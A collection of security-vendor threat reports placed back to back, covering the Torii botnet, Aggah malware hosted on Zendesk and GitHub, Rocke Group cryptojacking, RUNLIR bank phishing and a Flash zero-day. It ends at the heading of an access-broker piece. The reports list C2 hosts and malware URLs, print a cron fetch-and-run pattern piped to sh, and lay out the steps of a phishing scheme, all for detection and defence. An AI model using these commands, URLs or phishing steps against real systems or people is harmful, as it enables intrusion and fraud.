- Sat Sep 8 08:31:24 2018 1 128.199.109.115 6 /media/veracrypt1/nginx/md/zing.txt b _ o r md ftp 0 * c
According to logs we were able to analyze, a total of 592 unique clients were downloading files from this server over a period of a few days. It’s important to remember that once the target device receives the payload, it stops connecting to the download server and connects to the CnC server. Therefore, we are likely seeing a snapshot of new devices that were recruited into this botnet over the period of time for which we have log files.
Additionally, there are 8 clients that were using both the HTTP server and the FTP server, which could be the case if downloading using HTTP failed for some reason, or if Torii authors were testing functionality of the bash script or a server setup. We cannot speculate about what we do not have evidence for, but this server could be just one of a number of servers infecting new target devices, and only further investigation will reveal the true scope of this botnet. Given the level of sophistication of the malware we researched, it would seem likely that it is designed to map and control a large number of diverse devices.
## Conclusion
Even though our investigation is continuing, it is clear that Torii is an example of the evolution of IoT malware, and that its sophistication is a level above anything we have seen before. Once it infects a device, not only does it send quite a lot of information about the machine it resides on to the CnC, but by communicating with the CnC, it allows Torii authors to execute any code or deliver any payload to the infected device. This suggests that Torii could become a modular platform for future use. Also, because the payload itself is not scanning for other potential targets, it is quite stealthy on the network layer.
Stay tuned for the follow-ups.
## IoC
**CnC:**
- top.haletteompson.com
- cloud.tillywirtz.com
- trade.andrewabendroth.com
- press.eonhep.com
- editor.akotae.com
- web.reeglais.com
**IP:**
- 184.95.48.12
- 104.237.218.82
- 104.237.218.85
- 66.85.157.90
**SHA256:**
[click here to view SHA256 hashes] |
# Aggah Malware Campaign Expands to Zendesk and GitHub to Host Its Malware
Juniper Threat Labs has detected a new development in the Aggah malware campaign. Previously, Aggah was known to be using legitimate infrastructures like BlogSpot, WordPress, and Pastebin to host its malware. Recently, we discovered an ongoing campaign where Aggah threat actors host their malware using Zendesk attachments and GitHub. This campaign delivers several types of malware that are focused on stealing sensitive information, such as usernames and passwords, credit card information stored in browsers, and crypto wallets.
We detected a malicious Microsoft PowerPoint sample, `ed70f584de47480ee706e2f6ee65db591e00a114843fa53c1171b69d43336ffe`, which was downloaded from Zendesk’s own infrastructure as an attachment. The PowerPoint document contains a malicious macro file that connects to a shortened bitly.com URL which expands to `https://mujhepyaslagihaimujhepanipilao.blogspot.com/p/mark2html` in order to download and execute a malicious script via mshta.exe.
The script, `mark2.html`, hosted on `mujhepyaslagihaimujhepanipilao.blogspot.com`, performs a series of operations, such as creating a Run entry in the registry to execute a PowerShell script, downloading and executing another script using a scheduled task, and using WMI in the registry Run key to download and execute another script.
The code shown downloads from the following links and executes them:
- `https://ia801405us.archive.org/11/items/pg_20210716/blessed.txt`
- `https://randikhanaekminar.blogspot.com/p/elevatednew1.html`
- `https://backbones1234511a.blogspot.com/p/elevatednew1backup.html`
- `https://startthepartyup.blogspot.com/p/backbone15.html`
- `https://ghostbackbone123.blogspot.com/p/ghostbackup14.html`
**Blessed.txt**
The PowerShell script is hosted on archive.org as `blessed.txt`. The PowerShell loads a stealer malware, known as Oski. The Oski malware is included in the PowerShell script as a hex-encoded string. It uses a technique known as Signed Binary execution via `RegSvcs.exe` and `.NET Assembly.Load` to load this binary as an added layer of protection since it’s not saved to the disk and only stays in memory.
Oski was first seen in 2019. Today, it’s sold in Russian hacking forums for $70-$100. Oski malware’s capabilities include:
- Stealing cryptocurrency wallets
- Stealing sensitive information stored in browsers such as credit card data, autofill data, and cookies
- Stealing credentials from various applications such as FTP, VPN, and web browsers
- Capturing screenshots
- Collecting system information
- Downloading and installing additional malware
Oski connects to the following C2 server: `103.153.76.164`. After it collects and exfiltrates the data, it will delete traces of itself in the system.
**Elevatednew1.html**
One other routine includes creating a scheduled task to download and execute another malicious script hosted on `https://randikhanaekminar.blogspot.com/p/elevatednew1.html`. This malicious script loads another PowerShell script named `blessed.txt`. This time, the script is hosted in GitHub as follows: `https://raw.githubusercontent.com/manasshole/newone/main/blessed.txt`.
The malware that it tries to install is Agent Tesla, a .NET keylogger and RAT that logs keystrokes and the host’s clipboard content. The other malicious scripts `backbone15.html` and `ghostbackup14.html` are no longer available for download, while `elevatednew1backup.html` is the same as `elevatednew1.html`.
Before publication of this blog, we have contacted Zendesk and GitHub, and they quickly responded to disable the hosted malware.
**Conclusion**
The threat actors’ primary goal is to steal sensitive information such as usernames and passwords, credit cards, and crypto wallets. On the surface, this may seem to have a low impact in comparison with ransomware operations targeting enterprises. However, the Aggah threat actors’ method of using legitimate infrastructure is worrisome. As a defender, one way to disrupt malicious activity is to detect their infrastructure. This is usually effective as it’s not that easy to change infrastructures.
As we have observed and noted, threat actors using GitHub, Archive.org, Zendesk, Pastebin, and Google Drive are not going away anytime soon, and we expect their malicious efforts to continue. For instance, Juniper Threat Labs has also seen a growing usage of Zendesk to host malware, which may warrant its own blog in the future.
In this particular case, Juniper Networks’ Advanced Threat Prevention (ATP) solution detects the Aggah malware file as follows:
- `ed70f584de47480ee706e2f6ee65db591e00a114843fa53c1171b69d43336ffe`
- `103.153.76.164`
- `https://raw.githubusercontent.com/manasshole/newone/main/blessed.txt`
- `http://p17.zdusercontent.com/attachment/9061705/eyckz3zuedoivxtp0i629aoxe`
- `https://ia801405us.archive.org/11/items/pg_20210716/blessed.txt`
- `https://randikhanaekminar.blogspot.com/p/elevatednew1.html`
- `https://backbones1234511a.blogspot.com/p/elevatednew1backup.html`
- `https://startthepartyup.blogspot.com/p/backbone15.html`
- `https://ghostbackbone123.blogspot.com/p/ghostbackup14.html` |
# Rocke Group Actively Targeting the Cloud: Wants Your SSH Keys
Rocke Group is a Chinese-based threat actor most known for running cryptojacking malware on Linux machines. The group has been active since 2018 and continues to evolve by modifying its tools and techniques to stay evasive. In 2019, we reported that Rocke Group was competing with Pacha Group for cryptomining positioning on Linux-based servers in the cloud.
We have found a new malware variant developed by Rocke Group that infects other machines in the network using saved SSH keys and weak passwords. It also exploits vulnerabilities in popular platforms and services such as Jenkins, Redis, and ActiveMQ. Once the victim is infected, a Monero cryptominer is executed.
## Capabilities and Findings
The malware that is initially delivered to the victim’s server is packed with a modified UPX, which can make it harder for some Endpoint Detection and Response (EDR) products to detect the malicious code. This threat contains a number of modules that are stored in a compressed form inside the malware, and during execution, the payloads are extracted and executed.
Rocke Group uses a new script that downloads malware from a hosting server and executes it. The malware then uses public SSH keys, which are saved in a file called “known_hosts” on the victim’s Linux machine, to infect other machines on the network.
The malware archives persistence using a scheduled task in crontab and bashrc files. It creates a service that controls the execution of the malware and configures it to be executed on startup. The payload of the service is extracted from within the Rocke Group sample.
Next, the malware attempts to spread in the network by brute forcing SSH, Redis, and Jenkins with weak passwords. Then, it exploits vulnerabilities. For Jenkins, it uses two vulnerabilities for executing code (CVE-2018-1000861, CVE-2019-1003000) and for ActiveMQ, it tries to do arbitrary file writing (CVE-2016-3088).
To hide the activity of the malware, it implements an evasion technique that uses library hijacking. This way, the information retrieved by system commands is altered in a way that hides resources used by the malware and its components. For instance, running the ‘top’ command will not show the high CPU usage caused by the cryptomining malware.
One of the compressed modules is an XMRig Miner. Before the miner is executed, the dropper kills any other process that uses more than 30% of the cloud server’s CPU, ensuring the cryptominer has all of the CPU for itself.
## Detection and Response
Detect if a machine in your system has been compromised by following all of these steps:
1. The malware creates files in the following directories:
- /usr/local/sbin
- /usr/local/bin
- /usr/bin
- /usr/libexec
- /tmp
Check if there are suspicious files in these locations. This campaign is known for using similar names to valid Linux services and file names such as “kerberods,” so pay attention to the files you see in these directories. In other cases, it uses file names like 6ff4ba5d0de4498. The malware changes the timestamps of files created during the attack so that they appear older. You should not rely on the creation/modification time of the files.
**Response:** Remove the malicious files
**MITRE Technique:** Masquerading (T1036)
2. Check if there is a service that listens on port 61131 for incoming connections. Use the command: `netstat -tupln`
**Response:** Find the PID of the process and kill it. Run the following command to get the PID: `netstat -ltnp | grep -w ‘:61131’` and then: `sudo kill -9 <PID>` to kill the process.
3. Check if you have a service called `sshservice.service`. You can do this by running: `systemctl status sshservice.service`
**Response:** Stop and remove the service by running these commands:
- `systemctl stop [servicename]`
- `systemctl disable [servicename]`
- `rm /etc/systemd/system/[servicename]`
- `rm /usr/lib/systemd/system/[servicename]`
- `systemctl daemon-reload`
- `systemctl reset-failed`
**MITRE Technique:** Create System Process (T1543) and Masquerading (T1036)
4. Check if the cron jobs include commands in the following format:
`*/15 * * * * (curl -fsSL -m180 || wget -q -T180 -O- )|sh`
Check the following location of scheduled jobs:
- /var/spool/cron/root
- /var/spool/cron/crontabs/root
- /etc/cron.d/root
**Response:** Delete these commands from the crontab
**MITRE Technique:** Scheduled Task/Job (T1053)
5. Check that /etc/bashrc contains commands in the same format as the crontab files
**Response:** Delete the commands from the file
**MITRE Technique:** Event Triggered Execution using .bashrc file (T1546)
6. This campaign uses DNS over HTTPs (DoH) to obtain the address of the C2 server using hard-coded domains that send back an encrypted DNS record. Inspect your network traffic for anomalies in HTTPs packages. Check if your machine tried to access one (or more) of the following domains:
- Update.iap5u1rbety6vifaxsi9vovnc9jjay2l[.]com
- cloudflare-dns[.]com
**MITRE Technique:** Protocol Tunneling (T1572) and Encrypted Channel (T1573)
7. The malware tries to infect other machines in the network by brute forcing weak passwords and exploiting vulnerabilities in Jenkins, Redis, SSH, and ActiveMQ. Follow all of the steps above for machines that have these services.
**MITRE Technique:** Network Service Scanning (T1046)
## Be Proactive
- Use strong passwords for SSH, Jenkins, and Redis services. It is also highly recommended to use TLS authentication.
- Use different passwords and authentication keys for each machine in the network.
- Make sure that your Jenkins and ActiveMQ services have the latest updates.
- Restrict access to services and machines, and give only the required permissions for each user.
- Filter network traffic to untrusted or known bad domains.
- Apply detection of anomalies in the networks to detect suspicious communication that digresses from the usual traffic.
## Runtime Protection is a Must
This attack is sophisticated in that it implements evasion techniques making detection much harder. It also spreads to other services and machines on the network making it harder to respond to. Runtime protection with Intezer Protect gives you immediate visibility over all code running in your systems and alerts you whenever unauthorized code is executed. So, if Rocke Group attacks an environment with Intezer Protect installed on it, the user would immediately get an alert on all infected machines with the ability to terminate the malicious processes.
While there are dozens of cloud attack vectors that threat actors can utilize, such as software vulnerabilities and misconfigurations, eventually all attackers must run code or commands in the production environment to conduct any damage.
Consider that it’s not realistic to be able to close all attack vectors. Not only does it take time to fix vulnerabilities, but there are always attack vectors that are practically impossible to prevent such as supply chain or unknown vulnerabilities. Recent attacks have shown that Linux cryptominers and other threats will find their way into the production environment no matter how hard you work to reduce the attack surface. Runtime protection is a necessary last line of defense as actors like Rocke Group remain active.
## How Can Intezer Help?
You will be notified as soon as malicious or unauthorized code is executed. In this case, execution of the script and the malware will trigger an alert. You can see the full process tree, know exactly which malicious processes were created by the malware, and be able to stop them. While the Rocke Group campaign uses advanced evasion techniques to hide the malware and its resources, with Intezer Protect you will see all of the information and activity that happens on your machine.
The way we detect threats is different from other solutions. Anomaly detection and behavioral profiling can fail to detect advanced attacks designed to look “normal.” We detect threat variants by recognizing even the slightest amount of malicious code reuse. This innovation has proven to be the fastest to identify attacks in Linux and containerized environments.
Most runtime solutions are based on behavioral profiling which generates high false positives and requires constant tweaking of rules and policies. Our core detection strategy is based on detecting unauthorized code instead of a set of rules. The result is very few false positives, and contextualized alerts indicating only real attacks.
We inspect any new code running in memory and analyze it against our cyber immune system of trusted and malicious code. This allows us to inspect every change in memory to see if it’s truly unrecognized or malicious code, or just a natural change such as a software upgrade. This analysis does not just give you a “good or bad” answer. It also provides a deep understanding about the threat, where it came from, and who is responsible, crucial for responding smarter and faster to incidents.
Try Intezer Protect for free on up to 10 hosts.
## IoCs
**Dropper Script**
F947e69f9f8d113fb9fba3e795827110ee17feb310b54a7f7b6672a5386a3de2
**Malware**
Fe27d4a8a5f299b0b25d10816e98cef2852af6dc3541bf25a77960b1573ca61d
**Mining Pool**
minexmr[.]com pool
**XMRig Miner**
398e3608455dbea2cba8e9944d9b43cbb0982b48b2882fe54adf937a7a62d9e2
**Domains Used to Download the Malware**
img[.]sobot.com
cdn[.]xiaoduoai.com
**Domains Used for Resolving the C2 Address**
Update.iap5u1rbety6vifaxsi9vovnc9jjay2l[.]com
cloudflare-dns[.]com
Thanks to Joakim Kennedy for contributing to this post.
Nicole Fishbein
Nicole is a malware analyst and reverse engineer. Prior to Intezer, she was an embedded researcher in the Israel Defense Forces (IDF) Intelligence Corps. |
# RUNLIR - Phishing Campaign Targeting Netherlands
**16.09.2021**
**Reza Rafati**
**Senior CERT-GIB Analyst, Group-IB Europe**
Phishers have taken an unprecedented approach to bypass security controls in the Netherlands. While analyzing a massive phishing campaign aimed at stealing payment data from Dutch residents, researchers from the Group-IB Computer Emergency Response Team (CERT-GIB) discovered a method that limits access to phishing websites to only potential victims, ultimately increasing the success rate of their fraudulent operations. According to CERT-GIB data, an average phishing page's lifespan is about 24 hours; however, those using this new approach lasted six days on average.
Group-IB analysts identified multiple phishing websites impersonating Dutch financial organizations, part of a network of over 750 connected domains. This phishing infrastructure was first seen in March 2021 and remains active. The campaign was codenamed RUNLIR, reflecting the use of RU, NL, and IR in the domain naming pattern. The analysis also revealed an unconventional "Cut the card" phishing scheme requiring both online and offline efforts from fraudsters.
RUNLIR employs a unique combination of the BlackTDS anti-bot service, notorious bulletproof hosting services from Yalishanda, and various versions of the uAdmin phishing kit. This approach ensures that phishing pages are only shown to victims and not to security professionals. Cybercriminals distinguish between unsuspecting victims and security researchers by checking if the page viewer connects using a Dutch mobile network. Nevertheless, Group-IB researchers quickly established the necessary access conditions and upgraded their Threat Intelligence & Attribution system with a specific proxy server to bypass these restrictions. This new approach has not been seen in phishing attacks in the Netherlands before.
## "Cut the Card" Phishing Scheme
Among Group-IB's customers are leading Dutch financial organizations. During regular monitoring and blocking efforts, CERT-GIB analysts discovered a phishing campaign impersonating these organizations, targeting Dutch residents since March 2021. CERT-GIB was able to take down the websites related to its customers immediately upon detection.
Further analysis revealed that these phishing resources were part of a network of over 750 connected domains used to host phishing pages impersonating banks, transportation, logistics, government, telecom, housing, marketplace, and utility companies targeting users in the Netherlands, Germany, Belgium, and other countries. Each domain has an average of three subdomains, each capable of hosting different phishing pages.
The phishing infrastructure has been on the Group-IB radar since March 2021. CERT-GIB eliminated the websites related to its customers and continues to monitor the infrastructure, as phishing domains tend to reappear.
The phishing infrastructure relies on the infamous Yalishanda bulletproof hosting provider and uses the FastFlux technique, making the phishing sites more resilient to takedowns by global CERT teams. The sites use the BlackTDS anti-bot service and only accept mobile devices as visitors. This combination allows cybercriminals to mitigate unwanted attention on the RUNLIR phishing campaign.
The investigation revealed various local brands were impersonated, but one specific scheme caught analysts' attention. The unorthodox scheme instructs victims to cut up their banking cards.
### Steps of the "Cut Up Your Banking Card" Scheme
1. The initial vector is smishing. The victim receives a rogue SMS impersonating a local organization, warning that their banking card expires soon and they need to follow a link to prevent blockage. The message also states that the request for a new card will be free.
2. After clicking the link, the victim is asked to provide their banking information, including the e.dentifier response token, which is used by Dutch banks to generate a secure token for login. Once the cybercriminals log in with the stolen token, they gain full control of the customer's banking account.
3. After the response token is sent, the phishing website prompts the victim to share personal data, including name, address, postal code, date of birth, phone number, and email address. Phishers often request more information than necessary, increasing their chances of capitalizing on it by selling the data on the dark web.
4. The criminals then ask for the victim's existing bank card PIN and a "new PIN code," leading the victim to believe they are dealing with a legitimate bank website.
5. The victim is instructed to cut the card in two, through the center. This step does not disable the card's functionality as the chip remains intact. The victim is then asked to provide a time for a "banking employee" to pick up the cut card.
6. The victim selects a time for the appointment with the "bank employee" to collect the card, which remains functional.
7. The last step involves the official page of the bank that the crooks impersonated. By this stage, the phishers have collected all necessary information to log in and abuse the victim's bank account.
At the end of this scheme, the cybercriminals have all the information needed to log in and exploit the victim's bank account. The victim's card can be fixed with tape, and the criminals can request a new card to be sent to the victim's address, which they can then pick up.
## Information Theft
Group-IB researchers discovered that the RUNLIR campaign attempts to steal user information via a specific PHP file. This file requests information from the victim through text boxes, which is then stored by the code. The code appears to be from a genuine financial environment, and the campaign continues to utilize sources from the official target environment, allowing for quick setup of phishing resources.
The RUNLIR campaign uses a domain generation pattern, preferring specific prefixes, numeric values, and various top-level domains such as '.IR' and '.RU'.
## Cybercrime Takes Advantage of Legitimate Security Tools
When accessing resources involved in the RUNLIR campaign, CERT-GIB analysts received a specific response. Deeper analysis revealed that phishers were using the BlackTDS GEO tracking service to control access to their pages.
Cybersecurity professionals use GEO tracking to verify that users are from the expected region. This same concept is now used by BlackTDS to narrow down their reach, giving criminals control over their victims.
The RUNLIR campaign utilizes the following services to block unwanted visitors and increase the likelihood of successful phishing attempts:
- **BlackTDS**
- Requires the browser's user-agent to be a mobile user-agent
- Requires the visiting IP address to connect from a mobile network
- Can detect the referrer URL and take action based on that
- Utilizes available domain patterns
- **Yalishanda**
- Infamous bulletproof hosting service that hinders takedown efforts
- **Phishing Kits**
- Various versions of the U-Admin phishing panel, allowing cybercriminals to interact with the phishing site in real time and manage stolen user data
The phishing campaign uses this combination of tools to exclude unwanted visitors, namely cybersecurity researchers and CERT teams, from their websites.
Group-IB researchers were able to bypass the cybercriminals' detection evasion methods by setting up a proxy using mobile networks, revealing the websites.
The adoption of this method by cybercriminals indicates that phishing campaigns are continuously evolving, highlighting the importance of studying their tactics, techniques, and procedures (TTPs).
## Recommendations
Here are some steps that regular users can take to better protect themselves against these types of threats:
1. Do not click on links that you are not 100% confident are real.
2. Double-check that the URL of a website is the official one before submitting any information.
3. If you think you may have been a victim of a phishing attack, quickly contact your bank, the organization being impersonated, and the police. They can issue an alert, raising awareness and reducing victim count.
4. Official organizations usually do not use common URL shorteners, so links leading to bit.ly, s.id, tny.sh, and others should be treated with suspicion. Always double-check the final destination.
5. Always use your official banking application on your mobile device.
6. Report any identified phishing emails or SMS to CERT-GIB, fraudehelpdesk.nl, or scamadviser.com. These reports help cybersecurity professionals investigate and take action against fraudulent websites, protecting other potential victims.
Back in 2011, Group-IB created a certified emergency response service, united by a mission: to immediately contain cyber threats, regardless of when and where they take place and who is involved. |
# Adobe Flash Zero-Day Leveraged for Targeted Attack in Middle East
**June 7, 2018**
**By:** Chenming Xu, Jason Jones, Justin Warner, Dan Caselden
**Tags:** Exploitation, File Analysis, Flash, Threat Detection, Zero-Day
ICEBRG’s Security Research Team (SRT) has identified active exploitation of a zero-day vulnerability in Adobe Flash that appears to target persons and organizations in the Middle East. The vulnerability (CVE-2018-5002) allows for a maliciously crafted Flash object to execute code on victim computers, enabling an attacker to execute a range of payloads and actions.
This blog outlines details on various aspects of the discovered attack, the potential targeting of Qatar, and suggestions for defenses against similar attack chains. It is our goal that by sharing this, defensive teams will be informed about recently discovered threat activity and more broadly understand the type of indicators that can assist in the identification of similar attack vectors.
ICEBRG was the first to report the discovered vulnerability to Adobe on June 1, 2018, at 4:14 AM PDT. Adobe acted quickly to coordinate with ICEBRG, reproduce the vulnerability, and distribute a patch for its software on June 7, 2018. Many thanks to the team for working with us.
## Attack Overview
The exploit uses a Microsoft Office document to download and execute an Adobe Flash exploit on victim computers. The exploitation process begins by downloading and executing a remote Shockwave Flash (SWF) file. Unlike most Flash exploits delivered with Microsoft Office, this document uses a lesser-known feature to remotely include all SWF content from the attacker’s server instead of embedding it directly in the document. The first stage SWF includes an RSA+AES cryptosystem that protects the subsequent SWF stage, containing the actual exploit, which it downloads and executes. Appropriate use of asymmetric cryptography, like RSA, evades traditional defenses such as replay-based network security devices and prevents post-mortem network packet capture analysis.
The second SWF stage, after exploiting the system and achieving code execution, uses the same cryptosystem to download and execute shellcode to further enable the threat actor to control the victim machine. Typically, the final payload consists of shellcode that provides backdoor functionality to the system or stages additional tools. ICEBRG attempted to retrieve the final payload during analysis but was unable to due to several possible reasons.
## Remote Flash Inclusion
The attack loads Adobe Flash Player from within Microsoft Office, which is a popular approach to Flash exploitation since Flash is disabled in many browsers. Attackers typically embed a Flash file within a document, which may contain the entire exploit or may stage the attack to download exploits and payloads more selectively. This leaves, at a minimum, a small Flash loader that defenders can flag for detection and analysts can fingerprint for tracking.
Contrary to typical tactics, this attack uses a lesser-known feature that remotely includes the Flash content instead of directly embedding it within the document. Only XML wrappers selecting the Flash Player ActiveX control and an OLE Object supplying parameters are present.
Remote loading of the embedded Flash object has multiple significant advantages:
- **Evasion:** The document by itself does not contain any malicious code. Statically, the best one can do is detect the presence of remotely included Flash content. Dynamically, the sandbox/simulator must interact with the attacker’s server and receive malicious content, necessitating that the analysis system has a live connection to the Internet. Further, the attacker may selectively serve the next stage based upon the requesting IP address or HTTP headers. Once access is established, the attacker may decommission their server, and subsequent analysis of the attack must rely on leftover forensic artifacts.
- **Targeting:** Because the attacker can selectively serve exploits to the victim, they can limit the attack to intended victims. The attacker can limit access to specific IP addresses, either through whitelisting networks of target companies or individuals via a regional ISP, or blacklisting cloud infrastructure and security companies. The “Accept-Language” and “User-Agent” in HTTP headers may also be useful to whitelist known victim locales and victim environments or blacklist security products with non-standard or outdated responses.
Even with a minimal static footprint, upon document load, the remote Flash object will be retrieved and executed within the context of Microsoft Office.
## Cryptographic Routines
Data transmission from the attacker’s server to the client is protected by a custom cryptosystem leveraging a symmetric cipher (AES) that protects the data payload and an asymmetric cipher (RSA) to protect the symmetric key. The custom cryptosystem leverages a public Action Script library for low-level operations.
Data transmission is initiated by the client, whereby the client HTTP POSTs a randomly generated RSA modulus n and the exponent 0x10001, and the server responds with the following structure:
- 0x0: Encrypted AES key length (L)
- 0x4: Encrypted AES key
- 0x4+L: AES IV
- 0x14+L: AES encrypted data payload
To decrypt the data payload, the client decrypts the encrypted AES key using its randomly generated private key, then decrypts the data payload with the decrypted AES key.
The extra layer of public key cryptography, with a randomly generated key, is crucial here. By using it, one must either recover the randomly generated key or crack the RSA encryption to analyze subsequent layers of the attack. If implemented correctly, this renders packet capture in forensic analysis and automated security products ineffective. Furthermore, the decrypted data payloads will only reside in memory, challenging traditional disk forensics and non-volatile artifact analysis.
In this scenario, the attacker chose an RSA modulus length of 512 bits, which is considered insecure by today’s standards and may be cracked with notable effort. Consequently, offline analysis is possible, although more laborious than online analysis, whereby the analyst may either instrument a mock victim or create a man-in-the-middle service, then attempt to be exploited by the attacker.
The combination of a remotely included Flash exploit and asymmetric cryptography are particularly powerful counters against postmortem analysis. Once exploited, the only artifact residing on the victim’s system would be the initial lure document that only contains a URL. In that scenario, responders may look to network packet captures to recreate the attack. However, without the victim’s randomly created private key, it would be impossible for responders to decrypt the attacker’s code and recover subsequent protected stages like the exploit or payload. In this scenario, responders’ only saving grace would be the use of a weak RSA modulus.
## Use of Zero-Day Exploit
After decryption, the exploit payload is loaded and triggered to allow for follow-on code execution. Although the document is a Microsoft Office document, the code is executing within an Adobe Flash container.
You might ask, why conduct Flash exploitation within Microsoft Office? Over the past several years, many browsers have hardened their attack surface in regard to external plugins and applications, including Adobe Flash. An example of this hardening can be seen with Google’s Chrome Browser v.55, which outright blocks Flash by default. On the other hand, Office still supports embedded ActiveX controls, including Flash. According to Microsoft, this will be changing with its Office 365 products in 2019.
The use of a zero-day, rather than an “N-day”, vulnerability is particularly interesting in the context of the attack chain. A zero-day vulnerability is a vulnerability for which there exists no patch, whereas an “N-Day” vulnerability is an attack that takes place “N” days after the patch is available. There are numerous benefits of leveraging a zero-day exploit against a target:
- **Code execution with minimal interaction:** The vulnerabilities used in zero-day exploits typically trigger with little or no user interaction other than opening the document. Due to patches and other protective mechanisms, N-day exploits will frequently cause a prompt, warning, popup, or flat out will not work.
- **Higher success rates with less risk of discovery:** Due to the minimally required user interaction, users do not get suspicious of the document as easily and therefore do not report the situation to internal security teams. Most user training focuses on informing users of all the built-in security prompts rather than analyzing the overall suspicion of a scenario.
On the other hand, there are some negative aspects to using a zero-day vulnerability, notably cost of operations and risk of additional investigation upon discovery. In 2015, leaks of conversations involving Hacking Team revealed that zero-day exploits for Adobe Flash were being sold for $30k-$45k per exploit. Additionally, when the discovery of a zero-day happens, investigators will tend to dive deeper than if they discovered the use of an older N-day exploit.
## Network Communications
During the attack, the weaponized document downloads the initial SWF stage and multiple blobs of encrypted data from the attacker’s server and provides basic system information to the same server, both over HTTP. All downloads contain a unique 32-byte parameter named 'token', which is reused in the URI paths of other URLs passed as Flash parameters. The SWF stages log data to the URL identified as 'stabUrl', which is on the same command-and-control server. The URI is constructed by appending a random value onto a format string, whose values will indicate the current function and progress within the function, that is transmitted to track successes and failures. For example, the value reported after successful retrieval of the first stage is '0-0-0'.
Once that is completed, a request is made to the 'encKeyUrl' parameter, which is the second stage SWF containing the exploit. Upon retrieval of the second stage, a request is then made to the 'downloadUrl', which is the shellcode payload. The command-and-control server has not responded with a payload for the third stage even when phoning home from the assumed targeted region, which may signal that the campaign has been ended. The second GET request to the stabUrl uses the values '2-0-1' to signify a successful verification of a supported version of Windows. This is not significant for this exploit since it returns true for any version between and including Windows XP to Windows 10.
## Possible Qatari Targeting
The weaponized document, titled “ا ا ا.xlsx” (translated to “basic_salary”), is an Arabic language themed document that purports to inform the target of employee salary adjustments. The document was uploaded from an IP address in Qatar to VirusTotal on May 31, 2018. Most of the job titles included in the document are diplomatic in nature, specifically referring to salaries with positions referencing secretaries, ambassadors, diplomats, etc.
Within the document, the threat actor utilizes the domain “dohabayt[.]com” for malicious content which also reveals additional clues as to the intended target. When broken down into parts, the domain indicates a possible targeting of Qatar interests. The first part contains “doha”, which is the capital of Qatar. The second part may be mimicking the legitimate Middle Eastern job search site “bayt[.]com” in a further attempt to blend in on the network.
ICEBRG assesses with low confidence that these aspects indicate targeting of Qatari victims based on geopolitical interests. Such focused targeting would not be surprising given the hotbed of regional instability due to an ongoing blockade of Qatar by a number of other Middle Eastern countries and recent allegations of Qatar using offensive capabilities and contractors to target US political organizations. This assessment should not be considered an attempt to aid or assess in true attribution of the responsible party, but rather an attempt to provide relevant targeting information for analysts to associate with a known activity group or campaign.
## Attack Indicators
Numerous atomic indicators were identified through the attack chain of this activity and might serve as an initial method of detection. Atomic indicators are generally weak indicators given their ease of modification within the attack scenario and should only be used as preliminary indicators while more robust methods are instituted.
| Indicator | Description |
|-----------|-------------|
| 0b4f0d8d57fd1cb9b4408013aa7fe5986339ce66ad09c941e76626b5d872e0b5 | SHA256 hash of the document lure. |
| 185.145.128[.]57 | IP Address of shared hosting provider (abelons[.]com) hosting payloads for exploit chain. |
| people.dohabayt[.]com | Domain used for various stages of the exploit chain. |
| 6535abc68a777b82b8dca49ffbf2d80af7491e76020028a3e18186e1cad02abe | SHA256 of SSL certificate observed on malicious infrastructure. |
| internationsplanet[.]com | Domain associated with SSL certificate observed on malicious infrastructure. |
While this attack leveraged a zero-day exploit, individual attacker actions do not happen in isolation. There are several other behavioral aspects that can be used for detection. Any single observable might be low confidence but multiple observables clustered might be indicative of suspicious or malicious activity. Example observables include:
- **Use of Newly Registered and Low Reputation Infrastructure:** The domains utilized in this attack chain are very recently registered domains and leverage low reputation hosting providers and registrars that commonly host malicious sites. The hosting provider Abelons has been repeatedly included on spamhaus and abused by attackers to deliver malicious content.
- **Staged Download of Flash:** During the attack chain, the weaponized document loads the malicious Flash object through remote loading resulting in observable HTTP traffic resulting with the header “x-flash-version” pulling a secondary Flash object.
- **Use of Newly Created “Let’s Encrypt” Certificate:** A certificate observed being hosted on malicious infrastructure, likely used for some aspect of a malicious campaign, is a newly observed certificate from a free provider that contains a hostname mismatch with the server itself.
- **Office Document with Embedded Flash Using Remote Inclusion:** The document utilized in the attack utilizes an uncommon method of embedding Flash and such methods, particularly from untrusted sources, should be considered suspicious.
ICEBRG is a network security analytics company that offers a SaaS capability that enables customers to gain and utilize widespread network visibility for security operations. As part of its research, ICEBRG coordinates disclosure of security threats and vulnerabilities with relevant parties in order to maximize both the response and victim remediation efforts as well as working to truly improve the security of customers and other victims prior to publishing blog posts. To learn more about ICEBRG, contact us at [email protected]. |
# Access Brokers: Their Targets and Their Worth
Access brokers have become a key component of the eCrime threat landscape, selling access to threat actors and facilitating myriad criminal activities. Many have established relationships with big game hunting (BGH) ransomware operators and affiliates of prolific ransomware-as-a-Service (RaaS) programs. The CrowdStrike Intelligence team analyzed the multitude of access brokers’ advertisements posted since 2019 and identified trends in targeting preferences, as well as insights into the perceived value of different victims.
## Top Targets
Access brokers have advertised organizations from more than 30 different sectors, demonstrating an eclectic range of targets. Among these, the academic, government, and technology sectors were the most frequently advertised, accounting for a combined 49% of the total advertisements.
The academic sector has historically been a popular focus of ransomware operations, with intrusions timed to coincide with the start of a new school term to cause the greatest disruption and in turn encourage a quick ransom payment. Almost 40% of the academic sector advertisements were for access to U.S.-based institutions, with a spike in activity noted in August 2021 that coincides with the start of the new semester.
Geographically, advertisements for access to U.S.-based entities far surpass those for all other countries, claiming 55% of the total. Organizations based in Brazil and the UK secure second and third spots with 8% and 7%, respectively. This geographic targeting trend corresponds with other eCrime activity, including data theft campaigns that frequently result in stolen credentials being traded online in criminal underground marketplaces. Access brokers are known to purchase such credentials and abuse them to acquire access.
## Controversial Targets
The healthcare sector has been a divisive target among eCrime actors during the past two years because of the COVID-19 pandemic. Some adversaries actively avoided operations against frontline services in particular. Access brokers showed varying interest in targeting the sector — it sits in joint fourth place alongside financial services for the total number of identified advertisements, but the timing of the advertisements fluctuated.
Only one advertisement was posted for a healthcare entity in Q1 2020 — coinciding with the emergence of the pandemic — yet several were posted in Q3 2020 and Q1 2021. The increase corresponded with news of successful vaccination programs, potentially prompting increased interest among eCrime adversaries. Law enforcement scrutiny of cybercrime targeting critical infrastructure, which includes healthcare, also likely impacted supply and demand for access to this sector.
The energy sector was another controversial target in 2021. The fallout from the Darkside ransomware incident against Colonial Pipeline in May 2021 had a knock-on effect on access brokers, as criminal forum moderators imposed restrictions on ransomware-related discussions. Since ransomware operators account for a high proportion of access brokers’ customer base, the ban likely impacted sales for some brokers. Many switched to private communication channels, selling only to trusted buyers and hindering efforts to track who was selling to whom.
Despite the Colonial Pipeline incident prompting these changes, demand for access to the energy sector never truly waned, though the asking price for access briefly dipped.
## What Is Access Worth?
